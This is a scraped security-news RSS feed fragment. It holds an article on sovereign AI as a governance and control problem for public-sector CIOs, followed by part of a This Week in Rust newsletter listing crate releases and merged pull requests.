<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
